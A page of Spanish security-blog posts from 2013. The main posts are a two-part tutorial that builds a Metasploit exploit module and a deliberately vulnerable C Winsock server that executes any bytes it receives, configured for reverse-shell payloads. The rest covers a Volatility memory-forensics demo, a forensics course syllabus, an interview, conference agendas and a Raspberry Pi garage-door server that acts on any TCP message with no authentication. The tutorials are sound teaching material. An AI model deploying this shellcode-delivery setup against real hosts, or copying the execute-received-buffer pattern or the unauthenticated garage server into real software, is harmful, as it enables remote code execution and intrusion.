lunes, 30 de septiembre de 2013

How To: Cómo crear un módulo de Metasploit (Parte II)

Compartir este artículo:
En el pasado artículo hablamos de como crear un módulo de Metasploit. En el artículo de hoy vamos a mostrar el código del servidor utilizado para recibir la shellcode, enviada por el módulo de Metasploit y ejecutar dicho código.
Código en C del servidor
El servidor, mostrará el rol de aplicación vulnerable, mientras que el módulo creado en ruby para Metasploit hace de rol de exploit + shellcode. El servidor, por lo tanto, ejecuta lo que recibe.

#include<io.h>
#include<stdio.h>
#include<winsock2.h>
#define MAXBUFLEN 3072
#pragma comment(lib,”ws2_32.lib”) //Winsock Library
void x(char * Recv){((void(*)(void)){Recv})();}
int main(int argc , char *argv[])
{
WSADATA wsa;
SOCKET s , new_socket;
struct sockaddr_in server , client;
int c;
char *message;
char RecvBuff[MAXBUFLEN];
printf(“\nInitialising Winsock…”);
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf(“Failed. Error Code : %d”,WSAGetLastError());
return 1;
}
printf(“Initialised.\n”);
//Create a socket
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
{
printf(“Could not create socket : %d” , WSAGetLastError());
}
printf(“Socket created.\n”);
//Prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 8888 );
//Bind
if( bind(s ,(struct sockaddr *)&server , sizeof(server)) == SOCKET_ERROR)
{
printf(“Bind failed with error code : %d” , WSAGetLastError());
exit(EXIT_FAILURE);
}
puts(“Bind done”);
//Listen to incoming connections
listen(s , 3);
//Accept and incoming connection
puts(“Waiting for incoming connections…”);
c = sizeof(struct sockaddr_in);
int recibido = 0;
if((new_socket = accept(s , (struct sockaddr *)&client, &c)) != INVALID_SOCKET )
{
puts(“Connection accepted”);
//Reply to the client
message = “Hello Client , I have received your connection. But I have to go now, bye\n”;
send(new_socket , message , strlen(message) , 0);
recibido = recv(new_socket, RecvBuff, sizeof(RecvBuff),0 );
if(recibido !=0)
{
printf(“final\n”);
int i;
for (i = 0; i < recibido; i++)
{
if (i > 0) printf(“:”);
printf(“0x%02x”, RecvBuff[i]);
}
printf(“\n”);
x(RecvBuff);
}
}
if (new_socket == INVALID_SOCKET)
{
printf(“accept failed with error code : %d” , WSAGetLastError());
return 1;
}
closesocket(s);
WSACleanup();
return 0;
}


PoC: Uniendo la ejecución del módulo MSF y la recepción en el servidor en C
Al arrancar el código en C, el servidor queda a la espera de las conexiones. Antes realiza las típicas acciones de crear el socket y el bind a la dirección IP y puerto que se quiere. Una vez el servidor recibe una conexión, se creará y se recibirá en un buffer un conjunto de bytes. Este conjunto de bytes lo que va a ser es una shellcode, la cual la elegiremos en el módulo de MSF, el cual fue desarrollado en el post anterior de la serie.

En Metasploit accedemos al módulo creado y configuramos el atributo PAYLOAD, donde podremos configurar el PAYLOAD que queramos, el valor de LHOST, en el caso de que sea una conexión inversa, de este modo el payload sabrá "volver a casa".

Por último, hay que configurar el RHOST, que será la dirección IP del servidor. Al final el comando de la magia, el comando exploit. Justo en ese instante se hace referencia a la función exploit que se define en el módulo. La recordamos a continuación:
def exploitconnect# Build the buffer for transmissionbuf = payload.encoded# Send it offsock.put(buf)sock.gethandlerend
Esperamos que os haya gustado estos dos artículos y que probéis el ejemplo, y veáis que puede ser fácil crear un módulo de Metasploit.

domingo, 29 de septiembre de 2013

Informe Flu – 143

Compartir este artículo:

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 23 de Septiembre

Martes 24 de Septiembre

Miércoles 25 de Septiembre

Jueves 26 de Septiembre

Viernes 27 de Septiembre
  • El viernes publicamos la entrevista que realizamos aAlberto Sánchez (Habla Computing
Sábado 28 de SeptiembreSaludos!

sábado, 28 de septiembre de 2013

No te pierdas hoy las Jornadas de Seguridad Informática FSI

Compartir este artículo:

Buenas a todos, ayer y hoy se celebran las Jornadas de Seguridad Informática, delitos informáticos y protección de datos FSI, en la Escuela Digital Avanzada, Binaris de Sevilla.

Es un evento pequeño de seguridad en el que están participando varias caras conocidas del sector, como nuestro amigo Angelucho, la gente de HighSec o Websec.

A continuación os listamos las charlas del evento:

    Apertura del FSI. Jornada 27 de septiembre:
  • 17:30 -- Jorge Websec
  • 18:30 -- Abogada Fabiola Castellano
  • 19:30 -- Ángel-Pablo Avilés
    Jornada 28 de septiembre del FSI:
  • 10:30 -- Eduardo Arriols y Roberto López [HighSec]
  • 12:30 -- Aran Lora
  • 13:30 -- Mesa Redonda para preguntas
  • 14:30 -- Tapitas con los Ponentes.
A partir de las 10:30 podréis ver por Internet la segunda jornada del congreso en directo desde el siguiente enlace, no os lo perdáis:

http://www.binaris.es/live/

Saludos!

viernes, 27 de septiembre de 2013

Entrevista a Alberto Sánchez (Habla Computing)

Compartir este artículo:

Desde hace tiempo quería realizar esta entrevista, tan personal como a la vez profesional, con un amigo y gran desarrollador. Alberto Sánchez es de esas personas que quiere pasar desapercibido, pero es necesario en la empresa, solventando problemas y proporcionando ideas. Alberto desarrolla código en Habla Computing, pero no cualquier tipo de código, esta empresa se ha montado su propio lenguaje de programación llamado Speech y proporcionan una idea en el mundo del desarrollo. Sin más os dejo con la entrevista, disfrutarla.

1. Mi primera pregunta va más enfocada a dar a conocer a mi gran amigo Alberto, ¿Puedes contarnos a qué te dedicas y cuáles son tus especialidades?

Trabajo como desarrollador en Habla Computing. Es una pequeña startup situada en Móstoles, y nos dedicamos principalmente a la creación de un nuevo lenguaje de programación (Speech) y toda la plataforma asociada.En una empresa pequeña tienes que ser capaz de hacer de todo y ser completamente autodidacta, pero principalmente programo en Java y Scala en la parte de la arquitectura de la máquina virtual y en el lenguaje en sí, también me encargo del api REST que comunica la parte del servidor con los clientes javascript, y también de tareas de despliegue como configuración e instalación en servidores de aplicaciones.
2. Por lo general, solemos entrevistar a gente relacionada con el mundo de la seguridad, pero hoy nos hemos ido al mundo del desarrollo para saber más acerca de tu trabajo, ¿Qué opinas del mundo de la seguridad?
Personalmente lo considero un mundo muy interesante el cual me atrae bastante, e intento informarme lo más posible día a día. Aunque creo que el mundo de la seguridad es el gran olvidado, se suele dejar la seguridad para el final y no se suele tener en mente. Poco a poco vamos cogiendo conciencia de lo importante que es, tanto en una empresa que tiene que proteger sus activos, como la seguridad de las aplicaciones que preservan nuestra privacidad.
3. Sabemos que trabajas en una empresa de I+D en la que habéis desarrollado un nuevo lenguaje denominado Speech, háblanos más acerca de Speech.
Speech es un lenguaje de programación de alto nivel enfocado al desarrollo de aplicaciones sociales (no solo redes sociales). Cualquier aplicación que intervengan una o más personas se puede programar en Speech. Por ejemplo una red social, un sistema de subastas, el portal del ciudadano de la administración, juegos, etc.La principal diferencia con los lenguajes de programación tradicionales radica en las estructuras que usa. En vez de objetos y clases usa abstracciones sociales que nosotros como humanos usamos todos los días por lo que es sencillo de programar con él (Interacciones, Agentes, Recursos, Actos de Habla, Observaciones, etc).
4. Se puede decir que tú y tus compañeros sois los primeros programadores de Speech en el mundo, ¿Qué metas os habéis marcado a corto plazo?
La principal meta es no ser los únicos programadores del mundo, queremos dar a conocer el lenguaje, que a la gente le guste y lo vea útil, y que empiecen a usarlo en sus aplicaciones.Mientras lo damos a conocer estamos terminando de estabilizar y depurar la primera versión de la plataforma, arreglando los bugs que detectamos y optimizándola para que los programadores puedan usarla sin problemas.Además no paramos de hacer aplicaciones las cuales nos sirven para probar la plataforma, detectar nuevas funcionalidades y darnos feedback.
5. ¿Qué diferencia a Speech de otros?
La principal diferencia es la rapidez en el desarrollo ya que el tiempo lo dedicas en lo que realmente es importante que es la estructura de la aplicación y todas las reglas de negocio que la rigen. Además, al ser un lenguaje de alto nivel, es más cercano al lenguaje natural de las personas con lo que es más sencillo programar con él.
6. Para conocer más acerca del desarrollo con Speech, ¿Qué aplicaciones tenéis implementadas para que la gente os conozca?
Actualmente tenemos publicadas 4 aplicaciones de ejemplo para la comunidad:- Twitter: el que todos conocemos ;)- Big Brothapp: Es un sistema de nominaciones al estilo Gran Hermano- Trac: un gestor de tickets- Do&Follow: es un gestor de proyectos y tareas. Pudiendo además concertar reuniones y añadir documentación.
7. La empresa donde trabajas es Habla Computing, coméntanos algo para conoceros mejor. ¿Cuáles son las vistas de futuro? Una pregunta maliciosa, ¿Cómo andáis de seguridad? :D
Habla Computing es una empresa nacida por Septiembre del 2011 como resultado de una investigación realizada en la Universidad Rey Juan Carlos. A lo largo de estos 2 años hemos trabajado un total 12 integrantes que con muchas ganas y esfuerzo hemos conseguido crear una primera versión estable.A corto plazo dedicamos los esfuerzos a conseguir financiación. Vender un lenguaje de programación no es sencillo y hay que hacer bastantes esfuerzos para conseguirlo.En seguridad intentamos estar lo mejor posible dentro de nuestras capacidades y posibilidades. Siempre tenemos en la mente la seguridad y en un futuro próximo intentaremos incorporar algún profesional en la materia.
8. El mercado laboral en el buen desarrollo no es tan amplio como la gente cree, ¿Cómo ves el mercado?
El mercado del buen desarrollo y de las buenas aplicaciones lo veo bastante limitado. Los proyectos cada vez más tienen presupuestos mucho más ajustados y plazos de entrega más pequeños, esto se traduce a que el código lo desarrolle gente con menos experiencia y en mucho menos tiempo del necesario. Los desarrolladores también son personas, y aunque parezca que no, al tener que echar horas extra para cumplir los plazos se traduce en un peor código y un aumento de los errores.
9. Un clásico ya es nuestra pregunta, ¿Qué opinas de Flu Project?
Desde sus inicios me ha parecido un proyecto muy interesante, la idea de crear ese pequeño bicho de forma comunitaria para que la gente pueda aprender a desarrollarlo es realmente buena. Además está el blog donde todos los días (sin falta) puedes aprender algo nuevo. En definitiva Flu mola :)
10. Por último, y como solemos hacer, ¿Qué otro invitado te gustaría leer en Flu Project?

Creo recordar que en todo el tiempo que lleva Flu no habéis entrevistado a Miguel Ángel Moreno el cual considero gran profesional y mejor persona.

jueves, 26 de septiembre de 2013

Volatility Framework: Obteniendo el histórico de un CMD

Compartir este artículo:

Volatility Framework permite al forense analizar en toda su dimensión el estado de la memoria RAM de un equipo en el instante concreto en el que se recogió la evidencia. Volatility se encuentra escrito en Python, y mediante la ejecución de plugins sobre un fichero de captura de RAM se puede saber todo tipo de cosas, como por ejemplo:

  • Procesos en ejecución en la máquina en ese instante.
  • Ficheros abiertos por los procesos.
  • Servicios del sistema en la máquina.
  • Extraer información de ficheros para su posterior análisis.
  • Obtención de DLLs.
  • Obtención de direcciones de memoria donde se encuentran elementos de Windows importantes (por ejemplo, hashdump o LSA Secrets).
  • Historial de ciertas aplicaciones.
  • Búsqueda de pass con strings.
  • Conexiones de red.
  • Etcétera.

Hoy vamos a ver un pequeño ejemplo de como podremos obtener el histórico de un CMD, el cual se haya en la memoria RAM, gracias a el plugin consoles de Volatility Framework.

PoC: Consoles

En primer lugar debemos tener una captura de RAM, por ejemplo en formato DMP (standard de Microsoft), el cual referenciaremos mediante el parámetro -f. La distribución que utilizaremos será Kali Linux, donde Volatility ya viene instalado por defecto. La sintaxis para realizar esta acción es vol -f <ruta file dmp> consoles. Esta acción proporciona una salida, que a priori presenta un gran volumen de información. En primer lugar muestra un resumen de los ejecutables que fueron lanzados desde el CMD, indicando la dirección de memoria donde se encuentra dicha ejecución.

Si bajamos en la salida por pantalla que proporciona Volatility se puede ver el listado de los comandos ejecutados secuencialmente en esa sesión de CMD. Es importante visualizar esa lista para entender fácilmente que es lo que el usuario escribió en dicha sesión de CMD. Se puede ver lo fácil que es obtener dicha información.

SI seguimos bajando en la salida veremos lo que ha devuelto por pantalla dichos comandos que el usuario ha ejecutado. Esto es algo realmente interesante, para ver que es lo que el usuario consiguió realizar en dichas ejecuciones.

Interesante probar Volatility Framework e ir estudiando todas las posibilidades que ofrece la herramienta. En futuros posts seguiremos hablando de dicho framework.

miércoles, 25 de septiembre de 2013

Hoy os contamos todos los detalles sobre el curso de Forense que impartiremos en No cON Name. ¡No os lo perdáis!

Compartir este artículo:

Buenas a todos, sois varios los que me habéis escrito por correo para preguntarme más detalles acerca del curso sobre Forense que impartiré este año en No cON Name, por lo que he decidido matar dos pájaros de un tiro, y compartir esta información con todos nuestros lectores por si a alguien más le resulta de interés.

El temario del curso lo he diseñado pensando en el curso ideal que a mí me habría encantado recibir la primera vez que vi la temática de la ciencia forense. Y creo que en las siguientes líneas vais a comprender el por qué. Intentaré en un curso de solo 8 horas enseñaros las bases del análisis forense para que cuando salgáis de la formación podáis caminar solos, y seguir evolucionando en esta bonita ciencia.

No necesitáis traer nada al curso, ya que os daremos cuaderno y bolígrafo, pero sí que os recomiendo que os traigáis un Portátil con VirtualBox instalado, y un pendrive, por si queréis realizar a la vez que yo las prácticas del curso. Al principio del mismo os proporcionaré las diapositivas para que podáis seguirlas también desde vuestro ordenador a la vez que en el proyector.

Sobre el temario, a continuación os describo a alto nivel los contenidos que abordaremos:

Tema 1: Evidencia digital (1 hora)

  • La cadena de custodia: Iniciaremos el curso con un poco de teoría, analizando el concepto de cadena de custodia, qué es, para qué sirve y que valor puede aportar de cara a un posible juicio.
  • Firmado de evidencias: En la misma línea, hablaremos de la importancia de firmar las evidencias, tipos de firmas, como realizarlas, herramientas, etc.
  • RFC 3227: A continuación hablaremos de la RFC 3227 Guidelines for Evidence Collection and Archiving, y de su uso en los periciales, del orden de volatibilidad, etc.
  • Metodología para la adquisición de evidencias: Posteriormente hablaremos de varias de las metodologías más importantes del mercado, haciendo hincapié en la nueva UNE 71506:2013, que destriparemos entre todos.
  • La obtención de evidencias. Herramientas HW y SW: En este punto analizaremos aspectos técnicos sobre los discos duros, que son los clústers y bloques, metadatos, sistemas de ficheros, registros, etc. Veremos como clonar discos duros, tanto con clonadoras hardware como con herramientas software, realizaremos varias demos prácticas, incluyendo detalles como discos duros cifrados, raid o virtualizados.
  • Al finalizar el tema realizaremos una práctica final.

Tema 2: Análisis de datos (1 hora)

  • Tratamiento de evidencias: Iniciaremos el tema 2 hablando del tratamiento de evidencias y el proceso de investigación forense.
  • El principio de Locard: Continuaremos estudiando el principio del criminalista Edmon Locard.
  • La línea temporal: A continuación veremos cómo realizar la reconstrucción de los hechos, y estudiaremos varias herramientas que nos serán de utilidad para esta tarea.
  • Buscando información a través de aplicaciones forense: En este punto estudiaremos teóricamente cómo funcionan NTFS y EXT (MFT, superbloques, inodos, etc.), y veremos cómo recuperar información eliminada, tanto manualmente como con varias herramientas automáticas.
  • Técnicas esteganográficas: En el siguiente punto analizaremos algunas de las técnicas esteganográficas más utilizadas por los usuarios maliciosos, ADS, ocultación en imágenes, ficheros, etc. y veremos cómo debemos tratar este tipo de casos más complejos
  • Como bonus al curso, y como se trata de un congreso especial como No cON Name aprovecharemos para hablar también de como realizar análisis forenses a algunos dispositivos que no suelen analizarse comúnmente, como los dispositivos GPS, con demos prácticas en Tomtom, routers, consolas, y alguna que otra sorpresa que los asistentes al curso disfrutarán.

Tema 3: Correo electrónico (30 minutos)

  • Análisis forense de correo electrónico: En el tema 3 hablaremos del funcionamiento interno del correo electrónico, las partes de las que consta, como analizar su código fuente y cabeceras, como detectar si el correo ha sido falsificado, etc. Finalizaremos el tema con algunas demos prácticas

Tema 4: Forense de aplicativos (1:30 horas)

  • Forense en redes de datos: En este tema hablaremos de como analizar tramas de red para monitorizar tráfico extraño, como por ejemplo el producido por un malware que esté robando datos de una organización. En este punto sería interesante contar con conocimientos previos básicos de TCP/IP.
  • Forense de memoria RAM: A continuación veremos cómo volcar la memoria RAM de sistemas Windows y Linux, y como analizarla tanto de manera manual, como con herramientas automáticas. En el tema de móviles realizaremos esto mismo con Android, iOS, etc.
  • Análisis de malware: Para finalizar el tema analizaremos un malware para ver su estructura y su comportamiento básico. Para ello utilizaremos sendas herramientas y sandbox.

En función del transcurso del curso tras este tema nos iremos todos a comer para recuperar fuerzas y estar al 100% para la parte de móviles :)

Tema 5: Forense de dispositivos móviles iOS y Android (3 horas)

  • Introducción a la seguridad en dispositivos móviles: En este punto veremos cómo se compone la arquitectura del sistema iOS, Android, Blackberry, etc. y analizaremos sus medidas de seguridad.
  • Vulnerabilidades y exploits: En el siguiente punto hablaremos sobre algunas vulnerabilidades y exploits conocidos que nos servirán para rootear los terminales y acceder a zonas privilegiadas.
  • Reversing de aplicaciones móviles: En este aportado nos centraremos en decompilar aplicaciones e intentar averiguar las tareas que realizarán en nuestros terminales. Para ello realizaremos una completa demostración con un caso real.
  • Análisis Forense: Para finalizar el tema veremos como se debe realizar un análisis forense a un dispositivo móvil, con ejemplos prácticos sobre varias plataformas:
    • Preservación de evidencias
    • Obtención de información del dispositivo
    • Obtención de datos de la tarjeta SD
    • Volcado de memoria RAM
    • Adquisición de imagen física de la memoria interna
    • Live Forensics
    • Adquisición de información de la tarjeta SIM (incluyendo teoría sobre todos los códigos contenidos en la misma)

Tema 6: Elaboración del informe pericial (30 minutos)

  • Objetivo y elaboración del informe. Para concluir el curso os hablaremos de la importancia y de cómo debemos realizar un informe forense. Hablaremos largo y tendido de las “UNE 197001: Criterios generales para la elaboración de informes  y dictámenes periciales” y “UNE 71506:2013 ANEXO A. Modelo de informe pericial”.

Lógicamente en un dia no os convertiréis en forenses expertos, pero si que es un curso bastante completo, y que os proporcionará la base necesaria para que podáis investigar por vuestra cuenta, trasteando, rompiendo cosas, probando nuevas herramientas, etc. para especializaros en un futuro en esta interesante temática.

Nos vemos en el curso, ¡saludos!

martes, 24 de septiembre de 2013

Abre tu garaje desde Android o iPhone con Raspberry Pi (Parte I)

Compartir este artículo:
Tras ver algunos artículos en el blog relacionados con la Raspberry Pi, por fin me he animado a mostraros un proyecto con el que estuve entreteniéndome este verano.Casi todo el mundo, utiliza la Rasberry Pi como servidor de pruebas y como mucho para desarrollo de software que no necesite demasiados recursos. Pero si pensamos más detenidamente, lo que tenemos entre manos es muchísimo más que eso. En este caso, voy a mostraros como utilizar la interfaz GPIO (General Purpose In Out) para controlar unos relés que activan, en mi caso, la centralita de la puerta del garaje, y una luz temporizada. Y diréis, WOW! Pero claro... y si, ya que aquí se han publicado diversos tutoriales sobre Android... ¿utilizamos la Raspberry como un servidor, y nos diseñamos una aplicación para activar los relés desde nuestro Smartphone? Eso suena mejor aún. Pues sin más dilación, vamos a ponernos manos al teclado, usuario y pass al ssh, y veamos el potencial de este minipc a nivel de desarrollo electrónico. Arduino? Bah! Para que quiero un Arduino si puedo programar en Python!
Vamos a dividir el desarrollo del proyecto en 3 partes. Primero, la implementación de software en la Raspberry. Segundo, el desarrollo electrónico en una protoboard, y por último, el desarrollo de las aplicaciones para Android e iOS.
Lo primero que necesitamos es Raspbian instalado en nuestra Rpi, si no sabéis cómo, podéis mirar un tuto en la web oficial o directamente aquí en español.
En el primer inicio, el sistema arrancará un asistente raspi-config para configuración rápida. Recomiendo seleccionar el layout del teclado, cambiar el pass, poner el mínimo de memoria gráfica y desactivar el arranque de X server, pues no vamos a utilizar la interfaz gráfica en ningún momento (señores, somos hackers, we love shell). Además acordaos de activar el ssh por comodidad para la gestión remota, ya que una vez esté ubicado, es un tostón desconectar todo para tocar cualquier cosa. Dicho esto, y sabiendo que raspbian ya tiene python instalado. Es hora de instalar la librería que vamos a utilizar para controlar los GPIO. Por defecto, viene instalada RPi.GPIO pero en este caso, vamos a utilizar otra librería, RPIO, que tiene principalmente dos funciones añadidas interesantes. Una que espera interrupciones TCP, y otra que ejecuta una función cuando se producen. Procedemos a la instalación:
sudo apt-get install python-setuptoolssudo easy_install -U RPIO
Una vez instalado, estáis listos para ejecutar y jugar con el código del server. Lo dejo íntegro aquí:
#importo la libreria de RPIO con interruciones TCP y evidentemente la socket
import RPIO
import socket
#importo time para poner un delay
import time
print("Arrancando servidor de puerta de garaje")
#reseteando puertos y configurando pin 07 como output
print("Configurando GPIO07 como pin de salida a bajo nivel 0V")
print("Configurando GPIO08 como pin de salida a bajo nivel 0V")
RPIO.setwarnings(False)
RPIO.setup(7, RPIO.OUT, initial=RPIO.LOW)
RPIO.setup(8, RPIO.OUT, initial=RPIO.LOW)

def socket_callback(socket, val):
    clientip=socket.getpeername()
    print("Orden recibida: '%s' desde IP: %s" %(val,clientip))
    socket.send("Abriendo puerta del garaje...\n")
    RPIO.output(7, True)
    print("Pin 7 a nivel alto 3.3V")
    time.sleep(0.5)
    RPIO.output(7, False)
    print("Pin 7 reestablecido 0V")
    RPIO.output(8, True)
    print("Pin 8 a nivel alto 3.3V")
    time.sleep(0.5)
    RPIO.output(8, False)
    print("Pin 8 reestablecido 0V")

# Llamada de la interrupcion THREADED
RPIO.add_tcp_callback(1993, socket_callback, threaded_callback=True)

#Bucle sin fin esperando interrupciones
RPIO.wait_for_interrupts()
Toda la documentación relativa a las funciones utilizadas de la librería RPIO están en su web oficial, donde lo explican con ejemplos y demás. Os lo dejo aquí, pero de todas formas, está comentado, así que supongo que no deberíais tener problema para entender el código, que es bastante simple.
Como supongo que estaréis deseando ver todo esto funcionando, que la curiosidad os estará matando por dentro como a mi cada vez que veo algún tutorial DIY (Do it yourself), que os pasaréis las noches sin dormir, he preparado un pequeño cliente en python para que podáis probar que el servidor funciona, y para que podáis toquetear y mejorar el servidor a vuestro antojo, que es lo que realmente importa al final. El cliente se conecta a localhost, así que tenéis que ejecutarlo en la misma Raspberry, simplemente abriendo otra sesión por ssh, o ejecutando el servidor en segundo plano.
from socket import *
HOST='localhost'
PORT=1993
ADDR=(HOST,PORT)
BUFSIZE=4096
cli=socket(AF_INET,SOCK_STREAM)
cli.connect((ADDR))

def receive_data():
    data=cli.recv(BUFSIZE)
    print ("%s" % (data))

while 1:
    incode=raw_input("Mensaje a enviar (Abrir) o (Salir): ")
    if incode == "Abrir":
        print ("Enviado: %s"%(incode))
        cli.send(incode)
        receive_data()
    elif incode == "Salir":
        cli.close()
        break    
    else:
        print "Elija una opcion correcta"
Nos vemos en el siguiente post, donde veremos el montaje electrónico, bastante sencillo. Mientras tanto, en el código del server, podéis ver los pines de GPIO utilizados, así que si tenéis una protoboard y un par de leds a mano, podéis conectarlos sin problema para probar.

lunes, 23 de septiembre de 2013

How To: Cómo crear un módulo de Metasploit (Parte I)

Compartir este artículo:
En el artículo de hoy hablaremos de como crear un módulo de Metasploit. Hemos ido viendo en distintos artículos como ir creando scripts de Meterpreter, pero aún no hemos explicado como crearnos un módulo de Metasploit, por ejemplo de tipo exploit. Realmente un módulo de Metasploit no es más que un conjunto de atributos heredados y métodos definidos, los cuales debemos implementar su comportamiento. Cuando desde Metasploit hacemos uso del comando use <ruta módulo exploit>, internamente se realiza una instancia de nuestro módulo y en el cual la línea de comandos de msfconsole nos permite llamar a métodos y configurar atributos.
Para hacer la creación de un módulo más sencilla, el framework nos aporta una plantilla o sample el cual podremos utilizar para partir de ello. Al visualizar la plantilla se localizan atributos que solemos utilizar en la utilización de los módulos y los métodos que podemos lanzar. Podemos separar el módulo en dos partes, declaración de valores a través del método initialize y por otro lado la declaración e implementación de otras funcionalidades como son check, exploit, etc.
La plantilla la podremos encontrar dentro de la carpeta del framework de Metasploit en la ruta relativa documentation/samples/modules/exploits. En la imagen de ejemplo utilizamos BackTrack, aunque perfectamente válido para Kali Linux.
Objetivo del módulo
La idea final de estos artículos es conseguir un módulo el cual se conectará a un servidor, el cual escribiremos más adelante en lenguaje C (hay muchos esqueletos por Intenet). Nuestro módulo podrá lanzar una shellcode hacia el servidor que está escrito en C, el cual ejecutaremos en un Windows y éste al recibir la shellcode, ejecutará lo que recibe. Entonces, cuando el servidor ejecute lo que recibe estará ejecutando nuestra shellcode. Lo importante de todo esto, es entender el funcionamiento, que siempre será similar en otros módulos, del código que implementamos en Ruby. Obviamente no estaremos explotando una vulnerabilidad, porque no estamos desbordando buffer ni nada similar, pero la idea desde el punto de vista docente queda expuesta.
Ahora vamos a ir mostrando el código por partes. En primer lugar la parte de inicialización del módulo:
require ‘msf/core’
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary TCP server.
class Metasploit4 < Msf::Exploit::Remote
# This exploit affects TCP servers, so we use the TCP client mixin.
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
‘Name’           => ‘Shellcode Send’,
‘Description’    => %q{
Aqui hablamos la descripción. Por ejemplo, Este módulo lanzará mediante una conexión TCP contra un servidor una shellcode, la cual será seleccionada en el atributo PAYLOAD
},
‘Author’         => ‘Pablo’,
‘Version’        => ‘$Revision: 15946 $’,
‘References’     => # Aqui pondríamos los links de la vulnerabilidad que explota el módulo
[
],
‘Payload’        =>
{
‘Space’    => 1024, #Importante
‘BadChars’ => “\x00″, #Generación de shellcode, bytes a evitar
},
‘DefaultOptions’ => # Opciones que vendrán cargadas por defecto en el módulo, por ejemplo el RPORT
{
‘RPORT’   => 8888,
},
‘Targets’        =>
[
# Target 0: Windows All
[
'Windows Universal',
{
'Platform' => 'win',
'Ret'      => 0x41424344 # Dirección RET utilizada en el exploit
}
],
],
‘DefaultTarget’ => 0))
end
Los campos como Default Options son imortantes para asignar a priori valores a los atributos del framework. El atributo target es importante e irá cambiando, por ejemplo la clave RET, ya que en función de la vulnerabilidad tendrá un valor. Es más, realmente irá en función de la versión del SO, generalmente. El atributo Payload, es otro de los importantes donde en SPACE y BADCHARS deben ser correctamente configurados. Los bytes nulos son especificados en BADCHARS para evitar que una shellcode sea generada con esos bytes. Por otro lado, los campos "administrativos" deben ser configurados como son Name, Author, Versiones, References.
Ahora vamos con la segunda parte del módulo, la parte donde se implementan las funciones de "acción".
## The sample exploit just indicates that the remote host is always# vulnerable.#def checkreturn Exploit::CheckCode::Vulnerableend## The exploit method connects to the remote service and sends 1024 A's# followed by the fake return address and then the payload.#def exploitconnect# Build the buffer for transmissionbuf = payload.encoded# Send it offsock.put(buf)sock.gethandlerendend
El método Check debe implementar las acciones para comprobar si existe vulnerabilidad, por ejemplo si la versión del servidor remoto es vulnerable o no. En nuestro caso devolvemos siempre que es vulnerable, pero deberíamos implementar alguna condición para comprobar si el producto remoto es explotable.
Por otro lado, tenemos la función exploit. En este método se utiliza connect para conectar y crear el socket TCP con la dirección IP que se indique en RHOST. Una vez creado el socket, se debe crear el buffer que se enviará a la aplicación remota vulnerable, en nuestro caso simplemente le pasamos el payload encodeado. En otras ocasiones, lo normal es que tengamos que utilizar alguna configuración en el buf como buffer overflow. En resumen podríamos entender que en buf, normalmente utilizaremos buf = basura + ret + shellcode, por ejemplo. En el caso de hoy, solo hacemos buf = shellcode, porque sabemos que el servidor escrito en C recibirá el buffer y ejecutará directamente el código, sin necesidad de cambiar el flujo para ejecutar nuestra shellcode. Por último, enviamos el buffer por el socket, y lanzamos el handler por si tenemos que recibir la conexión inversa.
En el siguiente artículo mostraremos el código del servidor en C, y los pantallazos de que todo funciona como queremos. Esperemos que os interese estas pruebas de concepto. 

domingo, 22 de septiembre de 2013

Informe Flu – 142

Compartir este artículo:

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 16 de Septiembre

Martes 17 de Septiembre

Miércoles 18 de Septiembre

Jueves 19 de Septiembre

Viernes 20 de Septiembre

Sabado 21 de Septiembre

sábado, 21 de septiembre de 2013

III CONFERENCIAS DE SEGURIDAD NAVAJA NEGRA - del 3 al 5 de Octubre

Compartir este artículo:
 

III CONGRESO DE SEGURIDAD NAVAJA NEGRA (Albacete - del 3 al 5 de Octubre)

Buenas a todos, entre los días 3 y 5 de Octubre tendrán lugar las III CONFERENCIAS DE SEGURIDAD "NAVAJA NEGRA" en Albacete con una serie de charlas centradas en la Seguridad de la Información:

Jueves día 3

 
9:00-9:30Registro participantes
9:30-10:00Bienvenida a la III Conferencia organizada por Navaja Negra.
-Fuzzing browsers by generating malformed HTML/HTML5
  • Florencio Cano Gabarda (@florenciocano)
-Telepathy: Harness the code
  • Juan Carlos Montes
-Cool boot: It's cool!!!
  • Pedro Madesyp A.K.A. s4ur0n (@NN2ed_s4ur0n)
--- Almuerzo --
-De pacharanes por Raccoon City: Cómo sobrevivir al día a día real de un Pentester
  • J. Daniel Martínez (@dan1t0)
-¿Nadie piensa en las DLLs?
  • Adrián Pulido (@winsock)
--- Comida --
-Forensics IOS with low-cost tools
  • Lorenzo Martínez (@lawwait)
-ZEUS·Я·US
  • Santiago Vicente (@smvicente)
-Automated and unified opensource web application testing
  • Daniel Garcia A.K.A. cr0hn (@ggdaniel)
 

Viernes día 4

 
9:00-9:30Registro participantes
-Where is my money? The evolution of Internet fraud
  • Marc Rivero (@Seifreed)
-DDoS revisited
  • David Barroso (@lostinsecurity)
--- Almuerzo --
-Cryptography: The mathematics of secret codes is a game
  • Dani Kachakil (@kachakil)
-Offensive MitM
  • Jose Selvi (@joseselvi)
-ROP "bien explicao"
  • Jaime Peñalba (@NighterMan)
--- Comida --
-Economías criptográficas
  • Pancake (@trufae)
-Trash Robotic Router Platform (TRRP)
  • David Meléndez (@taiksontexas)
--- Merienda --
-How I meet your botnet
  • Fran Ruiz (@francruar)
  • Manu Quintans (@Groove)
-Adivina quién viene a CeDeNear ésta noche
  • Alejandro Nolla (@z0mbiehunt3r)
 

Sábado día 5

 
9:30-10:00Registro participantes
-El lado oscuro de TOR: La Deep Web
  • Jose Luis Verdeguer (@pepeluxx)
  • Juan Garrido (@tr1ana)
-Anteproyecto del código procesal penal: Análisis Técnico
  • Javier Rodriguer (Grupo Delitos Telemáticos U.C.O. Guardia Civil)
  • Cesar Lorenzana (Grupo Delitos Telemáticos U.C.O. Guardia Civil)
--- Almuerzo --
-Divulgación del trabajo de la Brigada de Investigación Tecnológica
  • David pérez (Brigada de Investigación Tecnológica CNP)
-Mesa redonda: CFSE, Troyanos, hackers y demás fauna
  • Javier Rodriguer (Grupo Delitos Telemáticos U.C.O. Guardia Civil)
  • Cesar Lorenzana (Grupo Delitos Telemáticos U.C.O. Guardia Civil)
  • David pérez (Brigada de Investigación Tecnológica CNP)
  • Pablo Fernández Burgueño (@Pablofb)
